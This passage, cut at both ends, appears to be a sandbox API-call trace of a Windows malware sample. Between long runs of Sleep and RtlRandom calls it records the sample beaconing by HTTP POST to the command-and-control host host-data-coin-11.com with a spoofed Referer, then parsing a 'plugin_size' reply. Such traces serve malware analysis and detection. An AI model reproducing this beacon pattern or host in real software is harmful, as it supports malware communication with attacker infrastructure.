(dwMilliseconds=0x258) [0236.683] Sleep (dwMilliseconds=0x258) [0236.685] Sleep (dwMilliseconds=0x258) [0236.691] Sleep (dwMilliseconds=0x258) [0236.693] Sleep (dwMilliseconds=0x258) [0236.694] Sleep (dwMilliseconds=0x258) [0236.696] Sleep (dwMilliseconds=0x258) [0236.697] Sleep (dwMilliseconds=0x258) [0236.699] Sleep (dwMilliseconds=0x258) [0236.701] Sleep (dwMilliseconds=0x258) [0236.759] Sleep (dwMilliseconds=0x258) [0236.800] Sleep (dwMilliseconds=0x258) [0236.802] Sleep (dwMilliseconds=0x258) [0236.809] Sleep (dwMilliseconds=0x258) [0236.810] Sleep (dwMilliseconds=0x258) [0236.813] Sleep (dwMilliseconds=0x258) [0236.815] Sleep (dwMilliseconds=0x258) [0236.817] Sleep (dwMilliseconds=0x258) [0236.819] Sleep (dwMilliseconds=0x258) [0236.821] Sleep (dwMilliseconds=0x258) [0236.822] Sleep (dwMilliseconds=0x258) [0236.824] Sleep (dwMilliseconds=0x258) [0236.825] Sleep (dwMilliseconds=0x258) [0236.827] Sleep (dwMilliseconds=0x258) [0236.829] Sleep (dwMilliseconds=0x258) [0236.831] Sleep (dwMilliseconds=0x258) [0237.006] Sleep (dwMilliseconds=0x258) [0237.040] Sleep (dwMilliseconds=0x258) [0237.155] Sleep (dwMilliseconds=0x258) [0237.293] Sleep (dwMilliseconds=0x258) [0237.309] Sleep (dwMilliseconds=0x258) [0237.319] Sleep (dwMilliseconds=0x258) [0237.413] Sleep (dwMilliseconds=0x258) [0237.517] Sleep (dwMilliseconds=0x258) [0237.631] Sleep (dwMilliseconds=0x258) [0237.633] Sleep (dwMilliseconds=0x258) [0237.635] Sleep (dwMilliseconds=0x258) [0237.637] Sleep (dwMilliseconds=0x258) [0237.639] Sleep (dwMilliseconds=0x258) [0237.640] Sleep (dwMilliseconds=0x258) [0237.642] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x26) returned 0x9141840 [0237.642] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\wvhwbfa" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\wvhwbfa"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff [0237.643] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x733d20b [0237.643] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x63) returned 0x9140740 [0237.643] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb2917679 [0237.643] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5f2d2225 [0237.643] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfc8a0fc3 [0237.643] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x95fd2950 [0237.643] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5a671133 [0237.644] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x85ca12cd [0237.644] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x23245772 [0237.644] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa468fd5c [0237.644] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9859ab7f [0237.644] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf4fa9a51 [0237.644] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x54eaab54 [0237.644] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd254c600 [0237.644] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x13fd1d53 [0237.644] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9c99107d [0237.644] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8e6e02f8 [0237.644] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x68638451 [0237.644] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xed3ec6f2 [0237.644] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa9661022 [0237.644] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf56988df [0237.644] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5f28bebe [0237.644] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd91fa2f3 [0237.644] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x683568d7 [0237.644] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3e35791d [0237.644] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5d93aa18 [0237.644] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x599c6ceb [0237.644] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa87bd5f0 [0237.644] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe481ce14 [0237.644] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7817b89d [0237.644] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8fab565b [0237.644] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x588f50bb [0237.644] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x43885740 [0237.645] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x35afa800 [0237.645] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa9394ef7 [0237.645] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb3ff0b05 [0237.645] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4ce12f3b [0237.645] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb12b6da0 [0237.645] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb074e3de [0237.645] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9c6d7282 [0237.645] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xebadf947 [0237.645] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc65312af [0237.645] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9bdc76ae [0237.645] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x63efccd7 [0237.645] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8c7ae825 [0237.645] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfa49337f [0237.645] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb5a14ce2 [0237.645] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2dae43d4 [0237.645] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5815f0b1 [0237.645] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xcf845bba [0237.645] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5e726859 [0237.645] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa6efe91e [0237.645] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x562152b0 [0237.646] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x36cd6862 [0237.646] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4b1cebb1 [0237.646] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x32a2ff90 [0237.646] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x137cf3e7 [0237.646] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x20cf9894 [0237.646] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4b7f5626 [0237.646] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe9edee04 [0237.646] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc088b615 [0237.646] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe8db5869 [0237.646] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4621ca29 [0237.646] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x17a5bd9d [0237.646] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb326d6c2 [0237.646] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x510914a5 [0237.646] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfc38225 [0237.646] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x316b0391 [0237.646] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x243b1fd8 [0237.646] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8385f46a [0237.646] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x57a4b1dd [0237.646] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5c53397c [0237.646] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2c6340d6 [0237.646] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd52d7075 [0237.646] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x89b29138 [0237.646] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x890caa95 [0237.646] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xae53a696 [0237.646] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb9f1efa5 [0237.646] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd4b3a0b3 [0237.646] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x58d8980d [0237.646] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x181641a2 [0237.646] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9bce3825 [0237.646] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x21fb2e56 [0237.646] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb8a3217b [0237.646] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd72010d2 [0237.646] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8e7f4f97 [0237.646] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5e072e2d [0237.646] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x10627273 [0237.646] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xac1afcd8 [0237.647] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc8738a5b [0237.647] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa925edc0 [0237.647] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa6731d56 [0237.647] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0xb2) returned 0x91418d0 [0237.647] lstrcatA (in: lpString1="", lpString2="FE7F15060B875FB9FB2A49F08D5D03120C287F38" | out: lpString1="FE7F15060B875FB9FB2A49F08D5D03120C287F38") returned="FE7F15060B875FB9FB2A49F08D5D03120C287F38" [0237.647] lstrcatA (in: lpString1="", lpString2="XC64ZB" | out: lpString1="XC64ZB") returned="XC64ZB" [0237.647] lstrcatA (in: lpString1="", lpString2="pub1" | out: lpString1="pub1") returned="pub1" [0237.647] lstrcatA (in: lpString1="", lpString2="d^0[6B#y>*oK*lU,%E45thXM$9[R,$W',02uckt*sdT6ko@1,G#wb;P/w76z^H+bP4KkR;OdcBQ&:poR;8GRZ.c45c" | out: lpString1="d^0[6B#y>*oK*lU,%E45thXM$9[R,$W',02uckt*sdT6ko@1,G#wb;P/w76z^H+bP4KkR;OdcBQ&:poR;8GRZ.c45c") returned="d^0[6B#y>*oK*lU,%E45thXM$9[R,$W',02uckt*sdT6ko@1,G#wb;P/w76z^H+bP4KkR;OdcBQ&:poR;8GRZ.c45c" [0237.647] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x10c) returned 0x9141990 [0237.647] lstrlenA (lpString="http://host-data-coin-11.com/") returned 29 [0237.647] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9141840, cbMultiByte=30, lpWideCharStr=0x9141990, cchWideChar=60 | out: lpWideCharStr="http://host-data-coin-11.com/") returned 30 [0237.647] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x1004fc18 | out: pProxyConfig=0x1004fc18) returned 1 [0237.656] WinHttpOpen (pszAgentW="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko", dwAccessType=0x0, pszProxyW=0x0, pszProxyBypassW=0x0, dwFlags=0x0) returned 0x8658060 [0237.657] WinHttpCrackUrl (in: pwszUrl="http://host-data-coin-11.com/", dwUrlLength=0x0, dwFlags=0x0, lpUrlComponents=0x1004fcd0 | out: lpUrlComponents=0x1004fcd0) returned 1 [0237.657] WinHttpConnect (hSession=0x8658060, pswzServerName="host-data-coin-11.com", nServerPort=0x50, dwReserved=0x0) returned 0x86aa1e0 [0237.657] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x12) returned 0x91407b0 [0237.657] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x68) returned 0x9141ab0 [0237.657] WinHttpOpenRequest (hConnect=0x86aa1e0, pwszVerb="POST", pwszObjectName="/", pwszVersion=0x0, pwszReferrer=0x0, ppwszAcceptTypes=0x0, dwFlags=0x0) returned 0x57aa80 [0237.658] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x4e) returned 0x91407d0 [0237.658] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x10d) returned 0x9141b20 [0237.658] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb9afdbc8 [0237.658] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x12) returned 0x9141c40 [0237.658] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x17) returned 0x9141c60 [0237.658] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe00f254e [0237.658] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x37df52a3 [0237.658] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2065584c [0237.658] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4f786dc [0237.658] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9cb24569 [0237.658] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x29ffdf9e [0237.658] wsprintfW (in: param_1=0x9141b20, param_2="Accept: */*\r\nReferer: http://%S%s/" | out: param_1="Accept: */*\r\nReferer: http://ncfxh.net/") returned 39 [0237.658] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141c60) returned 0x17 [0237.658] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141c60) returned 1 [0237.658] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141c40) returned 0x12 [0237.658] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141c40) returned 1 [0237.658] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x91407d0) returned 0x4e [0237.659] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x91407d0) returned 1 [0237.659] WinHttpAddRequestHeaders (hRequest=0x57aa80, pwszHeaders="Accept: */*\r\nReferer: http://ncfxh.net/", dwHeadersLength=0xffffffff, dwModifiers=0x20000000) returned 1 [0237.659] WinHttpSendRequest (hRequest=0x57aa80, lpszHeaders="Content-Type: application/x-www-form-urlencoded", dwHeadersLength=0x0, lpOptional=0x91418d0*, dwOptionalLength=0xa9, dwTotalLength=0xa9, dwContext=0x0) returned 1 [0238.558] WinHttpReceiveResponse (hRequest=0x57aa80, lpReserved=0x0) returned 1 [0238.558] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x2800) returned 0x9145db0 [0238.558] WinHttpReadData (in: hRequest=0x57aa80, lpBuffer=0x9145db0, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fd88 | out: lpBuffer=0x9145db0*, lpdwNumberOfBytesRead=0x1004fd88*=0x18) returned 1 [0238.559] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x9145db0, Size=0x5000) returned 0x9145db0 [0238.559] WinHttpReadData (in: hRequest=0x57aa80, lpBuffer=0x9145dc8, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fd88 | out: lpBuffer=0x9145dc8*, lpdwNumberOfBytesRead=0x1004fd88*=0x0) returned 1 [0238.559] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x23a0000 [0238.561] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9145db0) returned 1 [0238.561] WinHttpCloseHandle (hInternet=0x57aa80) returned 1 [0238.561] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141b20) returned 0x10d [0238.561] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141b20) returned 1 [0238.561] WinHttpCloseHandle (hInternet=0x86aa1e0) returned 1 [0238.561] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141ab0) returned 0x68 [0238.562] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141ab0) returned 1 [0238.562] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x91407b0) returned 0x12 [0238.562] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x91407b0) returned 1 [0238.562] WinHttpCloseHandle (hInternet=0x8658060) returned 1 [0238.562] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141990) returned 0x10c [0238.562] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141990) returned 1 [0238.562] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9140740) returned 0x63 [0238.562] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9140740) returned 1 [0238.563] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x91418d0) returned 0xb2 [0238.563] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x91418d0) returned 1 [0238.563] lstrlenA (lpString="ä\x071|:|plugin_size=0") returned 19 [0238.563] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x15) returned 0x9140740 [0238.563] lstrlenA (lpString="1|:|plugin_size=0") returned 17 [0238.563] lstrlenA (lpString="plugin_size") returned 11 [0238.563] atoi (_Str="0") returned 0 [0238.563] lstrlenA (lpString="1|:|plugin_size=0") returned 17 [0238.563] lstrlenA (lpString="|:|") returned 3 [0238.563] MapViewOfFile (hFileMappingObject=0x1ee0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x8fd0000 [0238.569] lstrcatA (in: lpString1="", lpString2="plugin_size=0" | out: lpString1="plugin_size=0") returned="plugin_size=0" [0238.569] NtUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x8fd0000) returned 0x0 [0238.600] atoi (_Str="1") returned 1 [0238.600] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6339e320 [0238.600] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0xf0) returned 0x91418d0 [0238.601] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6ca245 [0238.601] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x279eaefc [0238.601] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x301ad100 [0238.601] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x95c7dac6 [0238.601] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe28cd611 [0238.601] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbe2271d1 [0238.601] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x41f743b6 [0238.601] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3f421d86 [0238.601] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9b9a8b78 [0238.601] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x56d05055 [0238.601] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3c38adc0 [0238.601] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3c6df60f [0238.601] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfd4a0342 [0238.601] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x292901cd [0238.601] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x28c4a8f [0238.601] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6c0b70b6 [0238.601] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7b33d071 [0238.601] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfb86e939 [0238.601] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf515a436 [0238.601] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x91863dbc [0238.601] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8f3e6a53 [0238.601] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf7011314 [0238.601] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb762c4ca [0238.602] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf55e9939 [0238.602] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xedf12006 [0238.602] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x414851a0 [0238.602] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9cffc106 [0238.602] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x599d7347 [0238.602] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xcbbf7796 [0238.602] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd7ebfe7b [0238.602] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xff55809b [0238.602] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe8dbdd0b [0238.602] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3b2a9da6 [0238.602] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4289881e [0238.602] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5ac1d4a8 [0238.602] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x34937a39 [0238.602] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb2a4f0fa [0238.602] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3ad9f125 [0238.602] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6fa5d96e [0238.602] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xeb96664f [0238.602] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe340730e [0238.602] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x64a30387 [0238.602] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x18caab14 [0238.602] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd2a901bc [0238.602] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5688a92b [0238.602] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x713fbca9 [0238.602] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4ffba942 [0238.602] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xeea40a34 [0238.602] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x665e8192 [0238.602] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa36e428c [0238.603] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x24c84542 [0238.603] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9142dae3 [0238.603] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd3fee3ad [0238.603] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4cf36218 [0238.603] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xeaaa096f [0238.603] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x213589f3 [0238.603] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1730d8b5 [0238.603] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf20648a5 [0238.603] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb4e42f0e [0238.603] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc7fa82c6 [0238.603] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9f4b0e36 [0238.603] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x36b0ba4b [0238.603] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8fe9b697 [0238.603] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7e57ac97 [0238.603] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x740b142a [0238.603] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xce66e5cb [0238.603] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe4bc4976 [0238.603] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xeabca4ab [0238.603] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe6aa690 [0238.603] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xaa9fb8b [0238.603] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6c642911 [0238.603] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfeaf9cd5 [0238.603] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3701f48e [0238.603] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xff7f3b07 [0238.603] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfff6603d [0238.603] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3a0d08b5 [0238.603] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6f3896dc [0238.603] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4b8b623a [0238.603] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9f4ce21e [0238.603] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x711b264a [0238.604] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x49926433 [0238.604] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xce863d55 [0238.604] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5b749410 [0238.604] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x79628748 [0238.604] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x53d762c6 [0238.604] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8252492d [0238.604] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x31ae06f9 [0238.604] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x462d5a1e [0238.604] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8cd59ddd [0238.604] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc11e45a8 [0238.604] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5d63252d [0238.604] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xce08fd3b [0238.604] RtlRandom (in: 